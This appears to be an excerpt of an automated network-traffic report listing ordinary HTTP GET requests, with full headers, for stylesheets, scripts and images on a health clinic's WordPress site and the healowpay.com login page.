Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/cookie-notice/css/front.min.css?ver=2.4.16 HTTP/1.1Host: valleyprohealth.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://valleyprohealth.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _gid=GA1.2.1375613481.1713962665; _gat_gtag_UA_128496723_1=1; _ga_9LSM884DML=GS1.1.1713962665.1.1.1713962682.0.0.0; _ga=GA1.2.446872372.1713962665
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/google-language-translator/css/style.css?ver=6.0.20 HTTP/1.1Host: valleyprohealth.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://valleyprohealth.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _gid=GA1.2.1375613481.1713962665; _gat_gtag_UA_128496723_1=1; _ga_9LSM884DML=GS1.1.1713962665.1.1.1713962682.0.0.0; _ga=GA1.2.446872372.1713962665
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/google-language-translator/css/toolbar.css?ver=6.0.20 HTTP/1.1Host: valleyprohealth.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://valleyprohealth.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _gid=GA1.2.1375613481.1713962665; _gat_gtag_UA_128496723_1=1; _ga_9LSM884DML=GS1.1.1713962665.1.1.1713962682.0.0.0; _ga=GA1.2.446872372.1713962665
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/user-submitted-posts/resources/usp.css?ver=20240319 HTTP/1.1Host: valleyprohealth.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://valleyprohealth.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _gid=GA1.2.1375613481.1713962665; _gat_gtag_UA_128496723_1=1; _ga_9LSM884DML=GS1.1.1713962665.1.1.1713962682.0.0.0; _ga=GA1.2.446872372.1713962665
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/wp-google-places-review-slider/public/css/wprev-public_combine.css?ver=13.6 HTTP/1.1Host: valleyprohealth.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://valleyprohealth.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _gid=GA1.2.1375613481.1713962665; _gat_gtag_UA_128496723_1=1; _ga_9LSM884DML=GS1.1.1713962665.1.1.1713962682.0.0.0; _ga=GA1.2.446872372.1713962665
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/wp-blog-post-layouts/includes/assets/fontawesome/css/all.min.css?ver=5.12.1 HTTP/1.1Host: valleyprohealth.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://valleyprohealth.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _gid=GA1.2.1375613481.1713962665; _gat_gtag_UA_128496723_1=1; _ga_9LSM884DML=GS1.1.1713962665.1.1.1713962682.0.0.0; _ga=GA1.2.446872372.1713962665
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/vpchc/dist/default_page.css?ver=230904-91952 HTTP/1.1Host: valleyprohealth.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://valleyprohealth.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _gid=GA1.2.1375613481.1713962665; _gat_gtag_UA_128496723_1=1; _ga_9LSM884DML=GS1.1.1713962665.1.1.1713962682.0.0.0; _ga=GA1.2.446872372.1713962665
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/vpchc/dist/vendor.css?ver=240312-55111 HTTP/1.1Host: valleyprohealth.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://valleyprohealth.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _gid=GA1.2.1375613481.1713962665; _gat_gtag_UA_128496723_1=1; _ga_9LSM884DML=GS1.1.1713962665.1.1.1713962682.0.0.0; _ga=GA1.2.446872372.1713962665
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/vpchc/dist/custom.css HTTP/1.1Host: valleyprohealth.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://valleyprohealth.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _gid=GA1.2.1375613481.1713962665; _gat_gtag_UA_128496723_1=1; _ga_9LSM884DML=GS1.1.1713962665.1.1.1713962682.0.0.0; _ga=GA1.2.446872372.1713962665
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/Valley-Pro-Calculator/public/js/valley-pro-calculator-public.js?ver=1.0.0 HTTP/1.1Host: valleyprohealth.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://valleyprohealth.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _gid=GA1.2.1375613481.1713962665; _gat_gtag_UA_128496723_1=1; _ga_9LSM884DML=GS1.1.1713962665.1.1.1713962682.0.0.0; _ga=GA1.2.446872372.1713962665
Source: global traffic	HTTP traffic detected: GET /HealowPay/jsp/healow/login.jsp HTTP/1.1Host: www.healowpay.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/bt_cost_calculator/bold-builder-light/bt-bb-light.js HTTP/1.1Host: valleyprohealth.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://valleyprohealth.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _gid=GA1.2.1375613481.1713962665; _gat_gtag_UA_128496723_1=1; _ga_9LSM884DML=GS1.1.1713962665.1.1.1713962682.0.0.0; _ga=GA1.2.446872372.1713962665
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/bt_cost_calculator/jquery.dd.js HTTP/1.1Host: valleyprohealth.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://valleyprohealth.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _gid=GA1.2.1375613481.1713962665; _gat_gtag_UA_128496723_1=1; _ga_9LSM884DML=GS1.1.1713962665.1.1.1713962682.0.0.0; _ga=GA1.2.446872372.1713962665
Source: global traffic	HTTP traffic detected: GET /HealowPay/jsp/js/assets/css/bootstrap.min.css HTTP/1.1Host: www.healowpay.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.healowpay.com/HealowPay/jsp/healow/login.jspAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: JSESSIONID=8CE94DA95A067ED22B02F72C64DE30D7; ApplicationGatewayAffinityCORS=7c01dadb4c197224376f894aa3ea99d4; ApplicationGatewayAffinity=7c01dadb4c197224376f894aa3ea99d4
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/bt_cost_calculator/cc.main.js HTTP/1.1Host: valleyprohealth.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://valleyprohealth.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _gid=GA1.2.1375613481.1713962665; _gat_gtag_UA_128496723_1=1; _ga_9LSM884DML=GS1.1.1713962665.1.1.1713962682.0.0.0; _ga=GA1.2.446872372.1713962665
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/cookie-notice/js/front.min.js?ver=2.4.16 HTTP/1.1Host: valleyprohealth.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://valleyprohealth.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _gid=GA1.2.1375613481.1713962665; _gat_gtag_UA_128496723_1=1; _ga_9LSM884DML=GS1.1.1713962665.1.1.1713962682.0.0.0; _ga=GA1.2.446872372.1713962665
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/user-submitted-posts/resources/jquery.cookie.js?ver=20240319 HTTP/1.1Host: valleyprohealth.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://valleyprohealth.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _gid=GA1.2.1375613481.1713962665; _gat_gtag_UA_128496723_1=1; _ga_9LSM884DML=GS1.1.1713962665.1.1.1713962682.0.0.0; _ga=GA1.2.446872372.1713962665
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/user-submitted-posts/resources/jquery.parsley.min.js?ver=20240319 HTTP/1.1Host: valleyprohealth.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://valleyprohealth.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _gid=GA1.2.1375613481.1713962665; _gat_gtag_UA_128496723_1=1; _ga_9LSM884DML=GS1.1.1713962665.1.1.1713962682.0.0.0; _ga=GA1.2.446872372.1713962665
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/user-submitted-posts/resources/jquery.usp.core.js?ver=20240319 HTTP/1.1Host: valleyprohealth.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://valleyprohealth.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _gid=GA1.2.1375613481.1713962665; _gat_gtag_UA_128496723_1=1; _ga_9LSM884DML=GS1.1.1713962665.1.1.1713962682.0.0.0; _ga=GA1.2.446872372.1713962665
Source: global traffic	HTTP traffic detected: GET /HealowPay/jsp/js/assets/css/layout.css HTTP/1.1Host: www.healowpay.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.healowpay.com/HealowPay/jsp/healow/login.jspAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: JSESSIONID=8CE94DA95A067ED22B02F72C64DE30D7; ApplicationGatewayAffinityCORS=7c01dadb4c197224376f894aa3ea99d4; ApplicationGatewayAffinity=7c01dadb4c197224376f894aa3ea99d4
Source: global traffic	HTTP traffic detected: GET /HealowPay/jsp/js/assets/css/custom.css HTTP/1.1Host: www.healowpay.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.healowpay.com/HealowPay/jsp/healow/login.jspAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: JSESSIONID=8CE94DA95A067ED22B02F72C64DE30D7; ApplicationGatewayAffinityCORS=7c01dadb4c197224376f894aa3ea99d4; ApplicationGatewayAffinity=7c01dadb4c197224376f894aa3ea99d4
Source: global traffic	HTTP traffic detected: GET /HealowPay/jsp/js/assets/css/media-layout.css HTTP/1.1Host: www.healowpay.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.healowpay.com/HealowPay/jsp/healow/login.jspAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: JSESSIONID=8CE94DA95A067ED22B02F72C64DE30D7; ApplicationGatewayAffinityCORS=7c01dadb4c197224376f894aa3ea99d4; ApplicationGatewayAffinity=7c01dadb4c197224376f894aa3ea99d4
Source: global traffic	HTTP traffic detected: GET /HealowPay/jsp/js/assets/css/animation.css HTTP/1.1Host: www.healowpay.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.healowpay.com/HealowPay/jsp/healow/login.jspAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: JSESSIONID=8CE94DA95A067ED22B02F72C64DE30D7; ApplicationGatewayAffinityCORS=7c01dadb4c197224376f894aa3ea99d4; ApplicationGatewayAffinity=7c01dadb4c197224376f894aa3ea99d4
Source: global traffic	HTTP traffic detected: GET /HealowPay/jsp/js/assets/css/healow-pay.css HTTP/1.1Host: www.healowpay.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.healowpay.com/HealowPay/jsp/healow/login.jspAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: JSESSIONID=8CE94DA95A067ED22B02F72C64DE30D7; ApplicationGatewayAffinityCORS=7c01dadb4c197224376f894aa3ea99d4; ApplicationGatewayAffinity=7c01dadb4c197224376f894aa3ea99d4
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/vpchc/dist/_theme_color.bundle.js?ver=230904-91935 HTTP/1.1Host: valleyprohealth.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://valleyprohealth.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _gid=GA1.2.1375613481.1713962665; _gat_gtag_UA_128496723_1=1; _ga_9LSM884DML=GS1.1.1713962665.1.1.1713962682.0.0.0; _ga=GA1.2.446872372.1713962665
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/vpchc/dist/custom.js HTTP/1.1Host: valleyprohealth.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://valleyprohealth.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _gid=GA1.2.1375613481.1713962665; _gat_gtag_UA_128496723_1=1; _ga_9LSM884DML=GS1.1.1713962665.1.1.1713962682.0.0.0; _ga=GA1.2.446872372.1713962665
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2020/07/homepage-923x814.jpg HTTP/1.1Host: valleyprohealth.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://valleyprohealth.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _gid=GA1.2.1375613481.1713962665; _gat_gtag_UA_128496723_1=1; _ga=GA1.2.446872372.1713962665; _ga_9LSM884DML=GS1.1.1713962665.1.1.1713962689.0.0.0
Source: global traffic	HTTP traffic detected: GET /HealowPay/jsp/js/assets/css/healow-practice-pay-widget.css HTTP/1.1Host: www.healowpay.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.healowpay.com/HealowPay/jsp/healow/login.jspAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: JSESSIONID=8CE94DA95A067ED22B02F72C64DE30D7; ApplicationGatewayAffinityCORS=7c01dadb4c197224376f894aa3ea99d4; ApplicationGatewayAffinity=7c01dadb4c197224376f894aa3ea99d4
Source: global traffic	HTTP traffic detected: GET /HealowPay/jsp/js/assets/img/access-statements.png HTTP/1.1Host: www.healowpay.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.healowpay.com/HealowPay/jsp/healow/login.jspAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: JSESSIONID=8CE94DA95A067ED22B02F72C64DE30D7; ApplicationGatewayAffinityCORS=7c01dadb4c197224376f894aa3ea99d4; ApplicationGatewayAffinity=7c01dadb4c197224376f894aa3ea99d4
Source: global traffic	HTTP traffic detected: GET /HealowPay/jsp/js/assets/img/pay-your-bills.png HTTP/1.1Host: www.healowpay.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.healowpay.com/HealowPay/jsp/healow/login.jspAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: JSESSIONID=8CE94DA95A067ED22B02F72C64DE30D7; ApplicationGatewayAffinityCORS=7c01dadb4c197224376f894aa3ea99d4; ApplicationGatewayAffinity=7c01dadb4c197224376f894aa3ea99d4
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/vpchc/dist/acf_block_homepage_hero.css?ver=230904-91937 HTTP/1.1Host: valleyprohealth.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://valleyprohealth.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _gid=GA1.2.1375613481.1713962665; _gat_gtag_UA_128496723_1=1; _ga=GA1.2.446872372.1713962665; _ga_9LSM884DML=GS1.1.1713962665.1.1.1713962689.0.0.0
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2020/06/icon__logo.svg HTTP/1.1Host: valleyprohealth.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://valleyprohealth.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _gid=GA1.2.1375613481.1713962665; _gat_gtag_UA_128496723_1=1; _ga=GA1.2.446872372.1713962665; _ga_9LSM884DML=GS1.1.1713962665.1.1.1713962689.0.0.0
